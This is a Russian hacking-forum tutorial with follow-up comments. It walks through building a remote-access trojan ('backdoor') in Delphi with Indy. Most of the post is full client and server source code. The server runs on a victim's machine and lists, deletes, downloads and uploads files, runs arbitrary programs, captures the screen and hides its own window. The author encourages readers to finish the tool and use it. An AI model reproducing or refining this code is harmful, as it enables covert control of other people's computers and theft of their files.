Пишем удалённый файловый менеджер,или бектор на Delphi

Тема в разделе "Статьи", создана пользователем onthar, 12 окт 2008.

  1. onthar
    onthar Продвинутый
    Симпатии:
    224
    [INTRO]
    Привет.В этой статье я раскажу как написать простой файловый менеджер или бектор на Delphi.Писать будем на Delphi 7 используя Indy.
    [Клиент]
    Сначала запустим Delphi , и создадим новый проэкт.
    Кинь на форму:
    - 6 TEdit'ов ,
    - 6 TButton ,
    - 1 TMemo ,
    - 6 TGroupBox ,
    - 1 TIdTCPServer,
    - 7 TIdUDPClient ,
    - 1 TIdUDPServer ,
    - 1TSaveDialog.
    В глоальных переменных обьявим:
    Код:
    var
  ServerStream    :    TFileStream;
  first_          :    boolean=true;
  get_buffers     :    integer;
  get_buf_num     :    integer;
    Теперь нам нужно переименовать IdUDPClient1 в Cl,порт - 1111 , и свойство Active - True;
    IdUDPClient2 в RCl,порт - 1221 , и свойство Active - True;
    IdUDPClient3 в UPCl,порт - 1441 , и свойство Active - True;
    IdUDPClient4 в Xz,порт - 3232 , и свойство Active - True;
    IdUDPClient5 в DCl,порт - 1331 , и свойство Active - True;
    IdUDPClient6 в SCCl,порт - 1881 , и свойство Active - True;
    IdUDPClient7 в ECl,порт - 1551 , и свойство Active - True;

    SaveDialog1 в rrr.

    Теперь кликни 2 раза по Button1 и напиши туда этот код:
    Код:
    Cl.Host:=Edit2.text;
dcl.Host:=Edit2.text;
ecl.Host:=Edit2.text;
rcl.Host:=Edit2.text;
sccl.Host:=Edit2.text;
upcl.Host:=Edit2.text;
xz.Host:=Edit2.text;
IdTCPClient1.Host:=Edit2.Text;
Cl.Send(Edit1.text+'*.*');
    По нажатию этой кнопки мы будем коннектится к серверу.
    Кликни по Button2 и напиши:
    Код:
    rcl.Send(Edit3.text);
    По нажатию на эту кнопку будет удалятся файл который находится на сервере,его нужно указывать в Edit3.text.
    Button3:
    Код:
    dcl.Send(edit4.text);
IdTCPClient1.Host:=Edit2.text;
IdTCPClient1.Connect();
    По нажатию на эту кнопку мы будем скичавать файл с сервера который указали в Edit4.text
    Button4:
    Код:
    upcl.Send('f');
upcl.Send(Edit5.Text);
IdTCPClient1.Connect();
    Заливаем жертве файл(он стандартно будет лится в С:\WINDOWS\ и к имени файла будет добавлятся "_".
    Button5:
    Код:
    ecl.Send(edit6.text);
    Это кнопка для запуска файлов на удалённой тачке.
    Button6:
    Код:
    xz.Send('f');
IdTCPClient1.Connect();
    Делаем скрин на удалённой тачке и отсылаем его себе=)

    С кнопками наканецто закончили,как ті понял будем отправлять каманді серверу а он на них будет отвечать.Теперь нам нужно зделать передачу файлов между клиентом и сервером.
    НАйди на форме IdTPCServer1 , и в Evens кликни на OnConnect и в пиши такой код:
    Код:
    var
FileToSend: String;
FileSize: Cardinal;
p: Pointer;
begin
FileToSend :=Edit5.text;
with TFileStream.Create(FileToSend, fmOpenRead) do
try
FileToSend := ExtractFileName(FileToSend) + #00;
GetMem(p, 256);
try
CopyMemory(p, @FileToSend[1], Length(FileToSend));
AThread.Connection.Socket.Send(p^, 256);
finally
FreeMem(p);
end;
FileSize := Size;
AThread.Connection.Socket.Send(FileSize, SizeOf(FileSize));
GetMem(p, Size);
try
ReadBuffer(p^, Size);
AThread.Connection.Socket.Send(p^, Size);
finally
FreeMem(p);
end;
finally
Free;
end;
AThread.Connection.Disconnect;
    Это функция для отправки файла , теперь нам нужно создать функцию чтобы мы могли скачивать любой файл с компа жертвы.
    Ищем IdTPССlient1 и в событиях кникни на OnConnected и напиши там этот код:
    Код:
    var
FileName: PChar;
FileSize: Cardinal;
FS: TFileStream;
begin
if rrr.execute then
GetMem(FileName, 256);
try
IdTCPClient1.ReadBuffer(FileName^, 256);
IdTCPClient1.ReadBuffer(FileSize, SizeOf(FileSize));
FS := TFileStream.Create(rrr.filename+FileName, fmCreate);
try
IdTCPClient1.ReadStream(FS, FileSize);
finally
FS.Free;
end; 
finally
FreeMem(FileName); 
end;
    И так с клиентом закончили , попробуй его компилировать ,запустить и сохранить.
    Диз клиента у меня такой:
    [​IMG]
    [Сервер]
    С клиентом наконецто мы закончили.
    Теперь приступим к разработке сервера.
    Создай новый проект,и кинь на форму:
    - 1 TMemo
    - 6 TIdUDPServer
    - 1 TIdUDPClient
    - 1 TIdTPCClient
    - 1 TIdTPCServer
    - 1 TImage
    ...
    переименуй некоторіе компоненты так,чтобы было как тут:
    Код:
    Memo1: TMemo;
    cl: TIdUDPClient;
    sr: TIdUDPServer;
    cmf: TIdUDPServer;
    wex: TIdUDPServer;
    rem: TIdUDPServer;
    ddl: TIdUDPServer;
    IdTCPServer1: TIdTCPServer;
    IdTCPClient1: TIdTCPClient;
    IdUDPServer1: TIdUDPServer;
    Image1: TImage;
    Добавим глобальные переменные :
    Код:
    SDir        :    string;
  get_accept  :    boolean;
  UFile       :    string;
  pg          :    string;
    Теперь напишем процедуру которая будет искать все файлы в выбраной нами директории и отправлять нам на клиент.
    Код:
    procedure find;
var
  search:Tsearchrec;
  CDir:string;
  n:integer;
  r: integer;
begin
if findfirst(SDir,faAnyFile,search)=0 then
repeat
if (search.Attr and faAnyFile)=search.Attr then  begin
form1.Memo1.Lines.Add(Cdir+search.Name);
inc(n);
end;
until findnext(search)<>0;
if findfirst('*',faAnyFile,search)=0 then
repeat
if (search.Attr and faDirectory)=faDirectory then
if search.Name[1]<>'.' then begin
chdir(search.Name);
find;
chdir('..');
end;
until findnext(search)<>0;
end;
    Теперь найдём на форме upd server который мы переименовали в sr.
    В собитиях на ServerRead пишем:
    Код:
    var
 s:TStringStream;
 f:string;
begin
 s:=TStringStream.Create('');
 s.CopyFrom(Adata,adata.size);
 sdir:=s.DataString;
 abinding.sendto(abinding.peerip,abinding.peerport,f[1],length(f));
 find;
 cl.Host:=abinding.peerip;
 cl.Send(memo1.text);
    Теперь найдём rem и зделаем тоже самое что и мыше только запишем немного другой код:
    Код:
    var
 e:TStringStream;
 d:string;
begin
 e:=TStringStream.Create('');
 e.CopyFrom(Adata,adata.size);
 DeleteFile(e.DataString);
 abinding.sendto(abinding.peerip,abinding.peerport,d[1],length(d));
    Так же ищем wex и пишем:
    Код:
    var
 g:TStringStream;
 t:string;
begin
 g:=TStringStream.Create('');
 g.CopyFrom(Adata,adata.size);
 WinExec(PChar(g.DataString),sw_show);
 abinding.sendto(abinding.peerip,abinding.peerport,t[1],length(t));
    Теперь ищем upl и пишем:
    Код:
    var
 l:TStringStream;
 k:string;
 p:string;
begin
 l:=TStringStream.Create('');
 l.copyfrom(adata,adata.size);
 UFile:=l.datastring;
 abinding.SendTo(abinding.PeerIP,abinding.peerport,k[1],length(k));
    гг...Теперь ищем ddl и код:
    Код:
    var
 l:TStringStream;
 k:string;
begin
 l:=TStringStream.Create('');
 l.copyfrom(adata,adata.size);
 pg:=l.datastring;
 abinding.SendTo(abinding.PeerIP,abinding.peerport,k[1],length(k));
    Теперь найдём IdTPCServer и в событии OnConnect пишем:
    Код:
    var
FileToSend: String;
FileSize: Cardinal;
p: Pointer;
begin
FileToSend :=pg;
with TFileStream.Create(FileToSend, fmOpenRead) do
try
FileToSend := ExtractFileName(FileToSend) + #00;
GetMem(p, 256);
try
CopyMemory(p, @FileToSend[1], Length(FileToSend));
AThread.Connection.Socket.Send(p^, 256);
finally
FreeMem(p);
end;
FileSize := Size;
AThread.Connection.Socket.Send(FileSize, SizeOf(FileSize));
GetMem(p, Size);
try
ReadBuffer(p^, Size);
AThread.Connection.Socket.Send(p^, Size);
finally
FreeMem(p);
end;
finally
Free;
end;
AThread.Connection.Disconnect;
    Ищем IdTPCClient1 и пишем=) :
    Код:
    var
FileName: PChar;
FileSize: Cardinal;
FS: TFileStream;
begin
 
GetMem(FileName, 256);
try
IdTCPClient1.ReadBuffer(FileName^, 256);
IdTCPClient1.ReadBuffer(FileSize, SizeOf(FileSize));
FS := TFileStream.Create('C:\WINDOWS\'+'_'+FileName, fmCreate);
try
IdTCPClient1.ReadStream(FS, FileSize);
finally
FS.Free;
end;
finally
FreeMem(FileName);
end;
    гг....устал?иди попей пиваса и продалжим писать трой дальше=)

    всё?
    ну ок,тогда ищи просто IdUDPServer1(который мы непереименовывали=))
    и пиши в собітии ServerRead :
    Код:
    var
 s:TStringStream;
 f,g:string;
 
begin
 s:=TStringStream.Create('');
 s.copyfrom(adata,adata.size);
 g:=s.datastring;
 pg:=s.DataString;
 if g = 'f' then
 IdTCPClient1.Host:=ABinding.PeerIp;
 IdTCPClient1.Connect();
 ABinding.SendTo(ABinding.PeerIP,ABinding.PeerPort,f[1],length(f));
    о_О
    всё.
    теперь напишем процедуру для снятия скриншота с экрана:
    Код:
    procedure ScreenShot(x: Integer;
                     y: Integer;
                     Width: Integer;
                     Height: Integer;
                     bm: TBitMap   );
var
 dc: HDC;
 lpPal: PLOGPALETTE;
begin
if ((Width = 0) or  (Height = 0)) then
Exit;
bm.Width  := Width;
bm.Height := Height;
dc := GetDc(0);
if (dc = 0) then
Exit;
if (GetDeviceCaps(dc, RASTERCAPS) and
RC_PALETTE = RC_PALETTE) then
begin
GetMem(lpPal,
SizeOf(TLOGPALETTE) +
(255 * SizeOf(TPALETTEENTRY)));
FillChar(lpPal^,
SizeOf(TLOGPALETTE) +
(255 * SizeOf(TPALETTEENTRY)),#0);
lpPal^.palVersion := $300;
lpPal^.palNumEntries:=GetSystemPaletteEntries(dc,0,256,lpPal^.palPalEntry);
if (lpPal^.PalNumEntries <> 0) then
bm.Palette := CreatePalette(lpPal^);
FreeMem(lpPal, SizeOf(TLOGPALETTE)+(255 * SizeOf(TPALETTEENTRY)));
end;
BitBlt(bm.Canvas.Handle,0,0,Width,Height,Dc,x,y,SRCCOPY);
ReleaseDc(0, dc);
end;
    Теперь чтобы снять скриншот и сохранить нам понадобится такая процедура:
    Код:
    procedure screen;
var
x,y: integer;
begin
x:=Mouse.CursorPos.X;
y:=Mouse.CursorPos.Y;
ScreenShot(1,1,1300,900, Form1.Image1.Picture.Bitmap);
form1.image1.Picture.SaveToFile('C:\WINDOWS\'+'1.bmp');
end;
    и теперь ищи сmf и при чтении сервера пиши:
    Код:
    var
 s:TStringStream;
 f,g:string;
begin
  s:=TStringStream.Create('');
 s.copyfrom(adata,adata.size);
 g:=s.datastring;
 if g = 'scr' then
 screen;
 pg:='C:\WINDOWS\1.bmp';
 ABinding.SendTo(ABinding.PeerIP,ABinding.PeerPort,f[1],length(f));
    о_О!
    ну вот и всё=)
    компилируй запускай и трой готов=)
    ээээ.....если хочеш чтобы неотображалась главная форма то вверху выбери Project=>View Source
    и добавь
    Код:
    Application.ShowMainForm:=false;
    [END]
    вот теперь всё=)
    бугага)
    сохраняй проект и ппц)
    кста это просто пример как можно написать бектор=)
    ево лучше доделать и потом юзать=)
    и еще минус в том что он очень много весит=(
    гы если есть в статье ошибки то исправте=)
    а они полюбому есть=)
    (С) TROYAN | core32.org
    -----------------------------------------------------------
    Скачать сорцы клиента и сервера можно здесь!
    Пароль на архив - coolhack
     
    12 окт 2008
  2. SHKIP3R
    SHKIP3R Новичок
    Симпатии:
    0
    Запрошенный файл удален :(
     
    25 сен 2009
  3. insider
    insider Новичок
    Симпатии:
    0
    Присоединяюсь, перезалейте пожалуйста

    Кроме того, при компиляции выдаёт ошибку
    [Error] Unit1.pas(93): Undeclared identifier: 'host'

    что делать ? выложите пожалуйста рабочий исходник
     
    29 окт 2009
  4. krytilla
    krytilla Новичок
    Симпатии:
    0
    Залейте плиз исходники заново. Ато чтото неполучается=(
     
    6 авг 2011
Загрузка...